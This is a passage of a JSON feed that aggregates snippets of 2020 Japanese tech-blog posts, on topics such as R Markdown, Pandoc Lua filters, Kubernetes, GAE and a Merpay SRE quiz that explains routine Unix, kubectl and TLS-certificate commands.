4.x.x系でDockerfileの書き方が結構変わったので、拡張イメージを作っている人は要注意です。","link":"https://blog.atusy.net/2020/07/17/rocker-verse-4-0-2/","isoDate":"2020-07-17T00:00:00.000Z","dateMiliSeconds":1594944000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"自作キーボードLily 58 ProのスィッチをChoc Red Proに換装した","contentSnippet":"左右分離式のLily 58 Proを使っています。キースィッチがソケット式になっていて、簡単に交換できるのがウリの一つ。このとところキーが重くて入力に失敗することがあるのが気になっていたので、キースィッチオープナーを使ってスプリングを交換してやろうかと考えていました。その場合、DMMあたりでオープナーを買って、遊舎工房あたりでスプリングを買って、作業もそれなりにあってと大仕事。","link":"https://blog.atusy.net/2020/07/13/choc-red-pro/","isoDate":"2020-07-13T00:00:00.000Z","dateMiliSeconds":1594598400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tokyo.R 86でifもforも使わずにlifegameを実装する話をしてきました","contentSnippet":"「え!? ifもforも使わずにライフゲームの実装を!?」「できらR!!」 というタイトルで話してきました。時間切れになってしまうあたり、準備不足を晒してしまってお恥ずかしい限りでした。もっと伝えたいことがあったのに!","link":"https://blog.atusy.net/2020/06/29/tokyor86-lifegame/","isoDate":"2020-06-29T00:00:00.000Z","dateMiliSeconds":1593388800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS CodeBuild において オンプレのJenkins では成功していたファイル権限系のテストをするとうまくいかない","contentSnippet":"この記事を書くに至った経緯私が開発しているチームでは、Jenkinsでビルド・テストを行っていました。色々と環境をAWSに載せ替えていく中で、AWS CodeBuildを使用することになりました。ところが、ReadOnlyに設定したファイルにWriteできないことをテストすると失敗しているではないか…","link":"https://qiita.com/tayakun/items/6b721985bc098dda9846","isoDate":"2020-06-22T15:15:05.000Z","dateMiliSeconds":1592838905000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"R Markdownでhtml_documentを拡張する時の注意点 (self_contained)","contentSnippet":"rmarkdown::html_documentをrmarkdown::output_formatで拡張する時、引数の指定方法を注意しないと、self_contained引数やkeep_md引数がうまく機能しなくなります(参考: オリジナルなR Markdownの出力形式を作るoutput_format関数事始め)。","link":"https://blog.atusy.net/2020/06/22/extending-rmarkdown-without-self-contained/","isoDate":"2020-06-22T00:00:00.000Z","dateMiliSeconds":1592784000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Mac VScode Maven でJunit 使ってみた","contentSnippet":"はじめにとりあえずVSCodeでJUnit使ってユニットテスト体験してみたい人が対象です。まだJavaすらMacに入れてないんだ!って人はこちらを参考にしてみてください。動作環境macOS …","link":"https://qiita.com/tayakun/items/16201aa0371fa874ec78","isoDate":"2020-06-19T18:23:53.000Z","dateMiliSeconds":1592591033000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Handy Admission Webhook Library","contentSnippet":"Kubernetes の Admission Webhook を開発する際に、kubernetes/api をラップした軽量なライブラリやフレームワークを使うことがあると思います。kubernet…","link":"https://qiita.com/toVersus/items/5316e94490d60c220af7","isoDate":"2020-06-14T05:05:07.000Z","dateMiliSeconds":1592111107000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"R Markdownで出力結果を隠せるようにしてみた (minidownパッケージ)","contentSnippet":"minidownパッケージを使うと以下のような感じのことができるようになります。Resultsの部分をクリックすると図が現れます。plot(iris)Results実例は http://minidown.atusy.net/#results-folding を参照してください。","link":"https://blog.atusy.net/2020/06/14/minidown-with-result-folding/","isoDate":"2020-06-14T00:00:00.000Z","dateMiliSeconds":1592092800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Mac VSCode JavaでHelloWorldした","contentSnippet":"はじめにタイトル通り、ただHelloWorldするだけです。よくある標準出力するだけの課題とかをささっとすますにはいいかもしれません。今からこの環境でWebアプリとか作っちゃうんだ!って人には…","link":"https://qiita.com/tayakun/items/a38386288c50233c6a90","isoDate":"2020-06-10T14:57:49.000Z","dateMiliSeconds":1591801069000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Osaka.Rで昼間のリモートもくもく会を開催しました (2020/6/6)","contentSnippet":"Osaka.Rで昼間のリモートもくもく会を開催しました。これは毎平日の朝に行っているリモートもくもく会のグレードアップ版的な位置付けです。休日開催することで、朝もくより長く時間をとり、進捗を出しつつさらに参加者同士で進捗を可視化しようという試みです。","link":"https://blog.atusy.net/2020/06/08/osakar-mokumoku-20200606/","isoDate":"2020-06-08T00:00:00.000Z","dateMiliSeconds":1591574400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Chaos Mesh によるカオスエンジニアリング","link":"https://medium.com/@yteraoka/chaos-mesh-%E3%81%AB%E3%82%88%E3%82%8B%E3%82%AB%E3%82%AA%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0-46fa2897c742?source=rss-8b55af126a13------2","isoDate":"2020-06-02T03:16:16.000Z","dateMiliSeconds":1591067776000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"knitr::opts_hooksを設定するとチャンクキャッシュが更新されうる","contentSnippet":"R Markdownのチャンクのキャッシュは、チャンクオプションかコメント以外のコードに変更が加わった場合に更新されます。またR Markdownの背後で動いているknitrパッケージにはフックという概念があり、例えば特定のチャンクオプションがNULL以外の値の場合に発火する関数を仕込むことができます。この場合、関数はチャンクオプションを引数で受け取り、新しいチャンクオプションを返します。","link":"https://blog.atusy.net/2020/06/02/chunk-hooks-may-invalidates-cache/","isoDate":"2020-06-02T00:00:00.000Z","dateMiliSeconds":1591056000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandoc Lua Filtersのreturnの挙動と複数のフィルタを書くときの用例","contentSnippet":"PandocのLua Filterでは、Lua Type Referenceに載っている型と同じ名前の関数を作成すると、その型の要素を見つけて順々に関数を適用してくれる。たとえば、Pandoc関数を作成すると、ドキュメント全体のASTを受けとって処理を実行できる。以下は、Luaフィルタを実行していると教えてくれる例。","link":"https://blog.atusy.net/2020/05/31/lua-filter-returns/","isoDate":"2020-05-31T00:00:00.000Z","dateMiliSeconds":1590883200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tokyo.R 85で「R Markdownのオリジナルフォーマットを作ろう」の話をしてきました","contentSnippet":"毎週月曜日はブログ更新の日!と決めつつ、土曜に発表頑張ったからいいよなあと言う気分に。なので発表しましたとの記録だけ残しておきます。スライドはこちら成果minidownパッケージを不況できた1オリジナルフォーマット作りに興味を持つ人が出てくれた2想定ターゲットとマッチする参加者がいた3肥大化したYAMLフロントマターをなんとかしたい依存ファイルの関係を整理したいLua Filterの有効性を実感頂けた4課題Pandocの処理のお話はまだあまり詳しくR界隈で知られていないように思う。今回のテーマと関連するところでは以下あたり。","link":"https://blog.atusy.net/2020/05/25/tokyor85/","isoDate":"2020-05-25T00:00:00.000Z","dateMiliSeconds":1590364800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub ActionsからGAEにdeployする際のsecretの扱い","contentSnippet":"概要この記事の内容としては以下の通りGAEのapp.yamlが環境変数を読み取らないので、値をなんとか渡す方法。GitHubActionsで認証ファイルを扱う方法。ユースケースとして、GAE…","link":"https://qiita.com/SatohJohn/items/2341168ccb93c5e144ab","isoDate":"2020-05-13T08:20:51.000Z","dateMiliSeconds":1589358051000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"オリジナルなR Markdownの出力形式を作る`output_format`関数事始め","contentSnippet":"rmarkdown::output_format関数は、新規に、あるいは既存の出力形式を上書きしてオリジナルなR Markdownのの出力形式を作成するための関数です。rmarkdown::render関数を実行する際に、レンダリングに必要な情報をリストで渡します。リストの内容は、自身のbase_format引数を除く引数の名前です。詳しくはドキュメントを参照して頂くか、その内解説する日を待って頂きたいところ。","link":"https://blog.atusy.net/2020/05/11/rmd-output-fromat-function/","isoDate":"2020-05-11T00:00:00.000Z","dateMiliSeconds":1589155200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"朝もくを1ヶ月して得た教訓とか #OsakaR","contentSnippet":"1 目標を宣言しよう1.1 朝もくの間に達成できる粒度の目標を作ろう1.2 色々やろう2 進捗は報告しよう3 互いを褒めよう4 別のコミュニティも利用しよう5 アウトプットしよう6 Enjoy!!Osaka.Rの活動としてリモート朝もくを始め1ヶ月ほどが経過しました。良い機会なので、その過程で得た教訓とかをまとめておきたいと思います。必ずしも毎回守れているわけではありませんが、大事にしていきたいので宣言もかねてblog化しました。","link":"https://blog.atusy.net/2020/05/10/my-way-of-asamoku/","isoDate":"2020-05-10T00:00:00.000Z","dateMiliSeconds":1589068800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"html_document(self_contained = FALSE) で出力した時の携帯性をあげるextra_dependencies引数","contentSnippet":"rmarkdown::html_document関数には、self_contained引数がFALSEな時でも依存しているJavaScriptやCSSをポータブルにするために、extra_dependencies引数が用意されています。本記事ではこの引数の使い方について紹介します。","link":"https://blog.atusy.net/2020/05/03/rmd-extra-dependencies/","isoDate":"2020-05-03T00:00:00.000Z","dateMiliSeconds":1588464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocにself containedさせたくないデータには`data-external=\\"1\\"`を属性付与しよう","contentSnippet":"self containedなドキュメントでも数式を使うR Markdownの場合Enjoy先日の記事ではR MarkdownでKaTeXをCDNから読み込む際に、Pandocが出力にKaTeXを埋め込まないようにするハックを紹介しました。","link":"https://blog.atusy.net/2020/04/27/pandoc-data-external/","isoDate":"2020-04-27T00:00:00.000Z","dateMiliSeconds":1587945600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R MarkdownでKaTeXを使う","contentSnippet":"はじめにアイディア実装プレースホルダの作成KaTeXスクリプトの用意フォーマット関数の用意ベースフォーマットの用意ベースフォーマットを改変する関数の用意レンダリング実用化に向けてEnjoy!はじめに今、Rmdから出力できるHTML5でJavaScript控え目で軽量で高速なHTML文書フォーマットとして、minidown::mini_documentを開発しています。割と実用段階に入ったと思うので、以下のサンプルページを見て見てください。https://minidown-example.atusy.net/","link":"https://blog.atusy.net/2020/04/23/katex-in-html-doc/","isoDate":"2020-04-23T00:00:00.000Z","dateMiliSeconds":1587600000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Osaka.Rを立ち上げて、リモート朝モクやってます","contentSnippet":"Osaka.R始めました外出自粛の中でできること = リモート朝もく朝もくの感想個人的なOsaka.Rを立ち上げの背景Osaka.R始めました転職して大阪に引越したのを機にOsaka.Rを始めることにしました。奇しくもOsaka.Rを始めたいと同時期に思っていたくろきちさん、わさびさんと共に立ち上げることにしました。","link":"https://blog.atusy.net/2020/04/21/osakar-asamoku/","isoDate":"2020-04-21T00:00:00.000Z","dateMiliSeconds":1587427200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"3月末日で退職してました","contentSnippet":"株式会社モバイルファクトリーを3/31で退職してました。2010年6月入社なので9年10ヶ月になりますね。今は新しい会社のSREチームで働いています。前半数年間はケータイ向けのサイト(いわゆる着メロサイト)やソーシャルアプリの開発運用をしていました。後半数年間は社内全体の開発基盤・運用基盤の整備をしていました。いわゆるインフラよりのお仕事ですね。入社当時Webアプリケーション開発をまったく分かってなかったところからなんとか人並みに運用開発できる力をこの会社で身につけることが出来たと思います。今なんとかwebエンジニアをやれてるのはこの会社のおかげと言っても過言では無いと思っています。入社当時SQLをまともに書けなかったくらいのレベルだったのでよく採用されたなと。。。お仕事的には回りのレベルも高いし、自身の仕事のやり方も裁量を与えられていたし、社内環境も、待遇も悪くなかった。むしろ良かったくらいでした。ただ、長年勤めていく内に悪い意味での慣れが出てきて、自分自身停滞感を感じることが出てきました。ここ数年が特に感じることが多く、停滞感から来る焦りを日々感じていました。どうにか停滞感を解消するために副業として他社のお仕事を請け負ったりしていましたが、どうにも解消ができずにいました。そんな折に現職のSREチームの話をいただきました。実際に面談、面接を受けて、課題や環境の話を聞くにつれて、ここでなら一歩進めるのではないかという感触を得ました。もちろん焦燥感、停滞感はあれど、居心地が良いと感じてた今までの環境を変えることにはかなりの葛藤がありました。いろんな決め手はあったのですが、新しい場所の方が一番の下手*1でいれそう、なにより事業的にも業務的にも仲間的にもワクワクできそうというあたりが決定打になりました。入社して2週間しかも、初日以外ずっと在宅勤務なのでまだ様子が摑めてないですが、早くキャッチアップしてバリバリ成果を出していきたい所存です。これからもよろしくお願いします。例のもの置いておきます。気が向いたらでよいです。https://www.amazon.jp/hz/wishlist/ls/3S4C1LCDWKCTM?ref_=wl_share*1:情熱プログラマ参照","link":"https://blog.masasuzu.net/entry/2020/04/12/134300","isoDate":"2020-04-12T04:43:00.000Z","dateMiliSeconds":1586666580000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"IAPに対応しているGAEにアクセスする","contentSnippet":"概要GCPにあるGAEに対してアクセスする場合、認証のためにIAPをつけることが多いハズその際にrequest clientに対して認証情報を付ける方法についてまとめるサービスアカウントを作るサービスアカウントは以下の通りに作成でき…","link":"https://qiita.com/SatohJohn/items/d21d8487f55ed911e687","isoDate":"2020-03-29T12:12:15.000Z","dateMiliSeconds":1585483935000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Vuetify.jsのリンクの違いについて","contentSnippet":"概要vuetifyのbuttonやlist-itemなどに対してnuxt linkをつける際にリンクの付け方は2つあるhreftoどう使い分けるかというと、 https://qiita.co…","link":"https://qiita.com/SatohJohn/items/881d9a6fceceda1c1ce7","isoDate":"2020-03-22T11:06:18.000Z","dateMiliSeconds":1584875178000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Pandoc lua filter手習い: detailクラス付きのコードブロックを折り畳む","contentSnippet":"実装関数を書くコードブロックをそのまま返すコードブロックをタグで囲むdetailsクラスを持つコードブロックだけ
タグで囲う。detailsクラスを持つコードブロックだけ
タグで囲い、summary要素が指定されていれば、タグに記述するR Markdownで使ってみるRmdファイルデモ: 折り畳み時デモ: 展開時R Markdownのhtml_documentでソースコードだけじゃなくて結果も折り畳みたいようとの声があった。レッスン時にコードの実行結果を受講者に予想させてから見せたい場合を想定しているようだ。そこでknitr::knit_hooksを使う忍術を紹介した。https://github.com/rstudio/rmarkdown/issues/1453#issuecomment-595797200","link":"https://blog.atusy.net/2020/03/07/pandoc-lua-detailed-codeblock/","isoDate":"2020-03-07T00:00:00.000Z","dateMiliSeconds":1583539200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"revealjs_presentationでコードブロックに行番号を付与する","contentSnippet":"code.sourceCode > span { display: inline-block; line-height: 1.25; }code.sourceCode > span { color: inherit; text-decoration: inherit; }code.sourceCode > span:empty { height: 1.2em; }.sourceCode { overflow: visible; }code.sourceCode { white-space: pre; position: relative; }div.sourceCode { margin: 1em 0; }pre.sourceCode { margin: 0; }@media screen {div.sourceCode { overflow: auto; }}@media print {code.sourceCode { white-space: pre-wrap; }code.sourceCode > span { text-indent: -5em; padding-left: 5em; }}pre.numberSource code { counter-reset: source-line 0; }pre.numberSource code > span { position: relative; left: -4em; counter-increment: source-line; }pre.numberSource code > span > a:first-child::before { content: counter(source-line); position: relative; left: -1em; text-align: right; vertical-align: baseline; border: none; display: inline-block; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; padding: 0 4px; width: 4em; color: #aaaaaa; }pre.numberSource { margin-left: 3em; border-left: 1px solid #aaaaaa; padding-left: 4px; }div.sourceCode { }@media screen {code.sourceCode > span > a:first-child::before { text-decoration: underline; }}code span.al { color: #ff0000; font-weight: bold; } /* Alert */code span.an { color: #60a0b0; font-weight: bold; font-style: italic; } /* Annotation */code span.at { color: #7d9029; } /* Attribute */code span.bn { color: #40a070; } /* BaseN */code span.bu { } /* BuiltIn */code span.cf { color: #007020; font-weight: bold; } /* ControlFlow */code span.ch { color: #4070a0; } /* Char */code span.cn { color: #880000; } /* Constant */code span.co { color: #60a0b0; font-style: italic; } /* Comment */code span.cv { color: #60a0b0; font-weight: bold; font-style: italic; } /* CommentVar */code span.do { color: #ba2121; font-style: italic; } /* Documentation */code span.dt { color: #902000; } /* DataType */code span.dv { color: #40a070; } /* DecVal */code span.er { color: #ff0000; font-weight: bold; } /* Error */code span.ex { } /* Extension */code span.fl { color: #40a070; } /* Float */code span.fu { color: #06287e; } /* Function */code span.im { } /* Import */code span.in { color: #60a0b0; font-weight: bold; font-style: italic; } /* Information */code span.kw { color: #007020; font-weight: bold; } /* Keyword */code span.op { color: #666666; } /* Operator */code span.ot { color: #007020; } /* Other */code span.pp { color: #bc7a00; } /* Preprocessor */code span.sc { color: #4070a0; } /* SpecialChar */code span.ss { color: #bb6688; } /* SpecialString */code span.st { color: #4070a0; } /* String */code span.va { color: #19177c; } /* Variable */code span.vs { color: #4070a0; } /* VerbatimString */code span.wa { color: #60a0b0; font-weight: bold; font-style: italic; } /* Warning */R Markdownでは、コードブロックにnumberLinesクラスを与えると、Pandocが行番号を付与してくれます。例えば以下のコードブロックをblogdownでレンダリングすると、ちゃんと行番号が付与されます1。","link":"https://blog.atusy.net/2020/03/02/revealjs-linenumbers/","isoDate":"2020-03-02T00:00:00.000Z","dateMiliSeconds":1583107200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ノートブックの最適化はfor文の最適化に通ず","contentSnippet":"ループせずに済む処理はforの外に出せループ前要旨パッケージ読み込み関数定義データ読み込み・整形ループ内小規模なデータ整形分析・可視化解釈ループ後データ分析は大きく読み込み・整形分析可視化解釈の4つの要素で成り立つと思う。できればこの順に1サイクルして終わりたいが、現実的には何サイクルも回す。そしてメンテナンス不能で読む気も失せる巨大ノートブックができあがることは、想像に難くない。","link":"https://blog.atusy.net/2020/02/27/simple-notebook/","isoDate":"2020-02-27T00:00:00.000Z","dateMiliSeconds":1582761600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Merpay SRE Quiz @SRE Next 2020 解答・解説","contentSnippet":"これは何?2020年1月25日に行われた SRE NEXT 2020 で,メルペイさんがブースで出していた SRE に関するクイズです。正答数で景品がもらえたようです。3問以上:メルペイキーキャップ4問以上:メルペイキーキャップ+メルペイ SRE が推薦する本今日は SRE NEXT に来ています!ブース出してます!メルペイSREが考えたクイズに挑戦してみてください!#srenext pic.twitter.com/sQmndWucrP— Mercari_Dev (@mercaridevjp) January 25, 2020 メルペイ SRE が推薦する本って?ツイートのスレッドをたどっていくと,ラインナップは以下のようでした。『入門 監視』『詳解 シェルスクリプト』『Kubernetes 完全ガイド』『Programming Kubernetes』『パケットキャプチャの教科書』『プロダクションレディ マイクロサービス』『Linux カーネル Hacks』『エンジニアリング組織論への招待』『エンジニアのためのマネジメントキャリアパス』名著ばかりですね。第1問 SLO とはなんの略でしょうか?選択肢Service Level Observability (サービスレベル可観測性)Service Level Objective (サービスレベル目標)System Level Observability (システムレベル可観測性)System Level Objective (システムレベル目標)正解Service Level Objective (サービスレベル目標)解説SRE 本の Chapter 4 - Service Level Objectives に書かれている定義は以下のとおりです。An SLO is a service level objective: a target value or range of values for a service level that is measured by an SLI.SLI(サービスレベル指標)の目標値または値の範囲を SLO(サービスレベル目標)といいます。第2問 ユーザーが所属しているユーザーグループを知るためのコマンドはどれか?選択肢idwhoamiwholsgroup正解id解説明示されていないですが,UNIX 系 OS のコマンドを前提としていますね。id:ユーザー情報を表示するコマンドで,ユーザー情報(ID,名前)とグループ情報(ID,名前)が表示されます。実行例:foobar@darkstar:~$ iduid=1016(foobar) gid=100(users) groups=100(users)whoami:実行ユーザーの ID を表示するコマンドです。id -un と等価です。who:実行ユーザーの情報(名前,プロセス,起動時刻など)を表示するコマンドです。lsgroup:グループの属性を表示する AIX(IBM の UNIX 系 OS)のコマンドです。デフォルトパラメータがないので,グループを指定するか ALL を指定する必要があります。これらのうち,ユーザーの所属グループが表示されるのは id コマンドです。第3問 $ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\" の出力結果はどれか?選択肢33 2 1error1正解3 2 1解説bash -c string:string が bash で実行されます。echo message:message と改行を出力します。パイプ |:コマンドの出力を次のコマンドの標準入力に渡します。ここでは,3 2 1\\\\n を awk コマンドの標準入力に渡します。awk \'パターン {アクション}\':AWK のコマンドで,入力に対してパターンにマッチしたものにアクションを適用します。パターンを省略(空パターン)すると,全パターンにマッチする扱いになります。$ bash -c \\"... $1 ...\\":\\"\\" で囲まれた$ は展開されます。1 という変数名は定義されていないので,$1 が展開されると空文字になります。AWK に伝わるスクリプトは \'{print }\' になり,全パターンに対してそのまま出力する挙動になります。したがって,$ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\"3 2 1となります。ちなみに,1番目のフィールドを表示させたい場合は,$ が展開されないように \\\\$ とエスケープします。$ bash -c \\"echo 3 2 1 | awk \'{print \\\\$1}\'\\"3bash -c \\"...\\" を噛まさなければ,シングルクォート \'\' で囲まれた $ が展開されず,意図通りの挙動になります。$ echo 3 2 1 | awk \'{print $1}\'3エスケープ・展開絡みの落とし穴を題材にした問題ですね。調べてみたら複数事例見つかり,ハマりポイントのようです。stackoverflow.comteratail.com第4問 DNS が使用するポート番号は何番ですか?選択肢225380443正解53解説すべて well-known ポート番号です。22:SSH53:DNS80:HTTP443:HTTPS第5問 Kubernetes の Deployment の Event を見られるコマンドは,以下のうちどれか?選択肢kubectl describe kubectl logs -l kubectl get deployment -o yamlkubectl logs 正解kubectl describe 解説kubectl describe:リソースの詳細な情報を出力します。Events: セクションにイベント情報が表示されます。kubectl get events コマンドで全リソースのイベントを表示することができます。kubectl logs:コンテナのログを出力します。--selector (-l) オプションで結果にフィルタをかけることができます。kubectl get:リソースの基本的な情報を取得します。kubectl get deployment -o yaml とすると,Deployment の定義を YAML 形式で出力します。kubectl describe コマンドの引数で Deployment の名称を指定すると,その Deployment に関連したイベントを取得できるので,kubectl describe が正解です。第6問 Web サイトに設定している TLS 証明書の有効期限を確認できるコマンドは以下のうちどれか?選択肢openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep Aftercurl --tlsv1.2 -l https://www.merpay.com | grep Expirewget --no-check-certificate https://www.merpay.com | grep Certnmap --script ssl-enum-ciphers -p 443 www.merpay.com | grep Date正解openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep After解説openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text:OpenSSL の SSL/TLS クライアントで指定されたホストに接続して証明書を取得し,x509 サブコマンドで証明書情報を取り出します。Not After : で始まる行に有効期限が書かれるので,grep で取り出せます。-text オプションの代わりに -dates オプションを指定すると,証明書の開始日と失効日だけが出力されます。curl --tlsv1.2 -l https://www.merpay.com:Response Body(ここでは HTML)が出力されます。TLS 証明書の情報は含まれません。wget --no-check-certificate https://www.merpay.com:指定した URL の内容を証明書の検証をせずにダウンロードしてファイル(ここでは index.html)に保存します。標準出力にはリクエストの実行ログが吐かれますが,TLS 証明書の情報は含まれません。nmap --script ssl-enum-ciphers -p 443 www.merpay.com:Nmap を用い,指定されたホストに対して SSL/TLS の暗号・圧縮方式を複数試行した結果を出力します。証明書の有効期限の情報は含まれません。実行例:PORT STATE SERVICE REASON443/tcp open https syn-ack| ssl-enum-ciphers:| TLSv1.0:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity| Weak certificate signature: SHA1| TLSv1.2:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A| TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity|_ least strength: CcURL,Nmap で実現する例は以下のとおりです。curl --tlsv1.2 -v https://www.merpay.com 2>&1 | grep expirenmap --script ssl-cert -p 443 www.merpay.com | grep afterserverfault.com感想骨のある問題が多いです。1,4を確実に正解して,その他をどれだけ正解できるかといった感じでしょうか。知らなければ調べればいい話ですが,業務でよく使うコマンドなら覚えておいて手足のように使いこなせるほうが望ましいでしょう。","link":"https://toshikish.hateblo.jp/entry/2020/02/11/024400","isoDate":"2020-02-10T17:44:00.000Z","dateMiliSeconds":1581356640000,"authorName":"toshikish","authorId":"toshikish"},{"title":"2019年のふりかえり、2020年の目標","contentSnippet":"すでに年が明けて1ヶ月経ちましたが、2019年の活動を振り返ろうと思います。Kubernetes、Cloud Native技術を中心に学習を進めました。勉強会、カンファレンス1月Cloud Native Meetup Tokyo #6 KubeCon + CNCon RecapKubernetes Meetup Tokyo #15 - KubeCon 2018 RecapRancher/Kubernetes勉強会 Kubernetes管理ツールの活用法OWASP Connect in Tokyo #2今回は特別編!Cloud Nativeなアプリ開発から学んだことを全部シェア - cndjp#92月Yahoo! JAPAN MEETUP #31 インフラ技術カンファレンスGo 1.12 Release Party in Tokyo w/ Fukuoka&Umedassmjp 2019/02Docker Meetup Tokyo #28第三回ボトムアップドメイン駆動設計サイバーセキュリティシンポジウム3月k8s source code reading #3Cloud Native Meetup Tokyo #7 @Abema Towers4月Cloud Native Tokyo #01Serverlessについて思いを馳せる一夜 - cndjp第11回勉強会ssmjp 2019/04Rancher k3s もくもく勉強会 #035月レガシーをぶっつぶせ。現場でDDD!ssmjp 2019/05IIJ Technical NIGHT vol.7SRE Lounge #9Docker Meetup Tokyo #30 (DockerCon・KubeConEU報告会)Yahoo! JAPAN MEETUP #32 インフラ技術/Kubernetes6月NoOps Meetup Tokyo #6Kubernetes Meetup Tokyo #20 - KubeCon RecapGCPUG Tokyo Next Extended 2019 Infra DayInteract 20197月恐るることなかれ! Cloud NativeリレーショナルDB特集!! - cndjp第12回第三十五回 Azureもくもく会 @ 品川CloudNative Days Tokyo Meetup w/ Melanie CebulaKubernetes Meetup Tokyo #21 - Cloud Native CI/CDSekkeiKaigiCloud Native Days Tokyo 2019 → スタッフとして参加8月SRE Lounge #10CloudNative Days Tokyo 2019振り返りNightGo 1.13 Release Party in TokyoKubernetes Meetup Tokyo #229月Docker Meetup Tokyo #32Japan Azure User Group 9周年イベントXP祭り2019golang.tokyo #26Cloud Native Meetup Tokyo #10Kubernetes Meetup Tokyo #23 - Operator Deep Dive10月Terraform meetup tokyo#2Kubernetes Meetup Tokyo #24SRE Lounge #1111月さくらの夕べDocker/Kubernetesナイト #2Go Release 10 Year Anniversary Party in Tokyoゴリラ.vim #10 非公式VimConf後夜祭 girls.vimと合同開催技術書典8 はじめてのサークル参加meetupMicrosoft Open Tech Night #1 - インフラ編+Ignite速報俺たちの最適なCloud Nativeを求めて…。本気のこと始め! - cndjp第13回12月Japan Rook Meetup #1Cloud Native Meetup Tokyo #11 KubeCon RecapGDG DevFest Tokyo 2019Microsoft Open Tech Night #3 - クラウドネイティブ編登壇資料speakerdeck.comspeakerdeck.comspeakerdeck.com書籍商業誌Kubernetes完全ガイドしくみがわかるKubernetesみんなのDocker/KubernetesKubernetes実践入門情報処理安全確保支援士 教科書みんなのGo言語インフラエンジニアの教科書Linuxのしくみ分散システムデザインパターン入門監視Linux教科書 LPICレベル1Docker実践ガイドKubernetes実践ガイド同人誌ふりかえり読本 場作り編ふりかえり読本 学び編ふりかえり読本 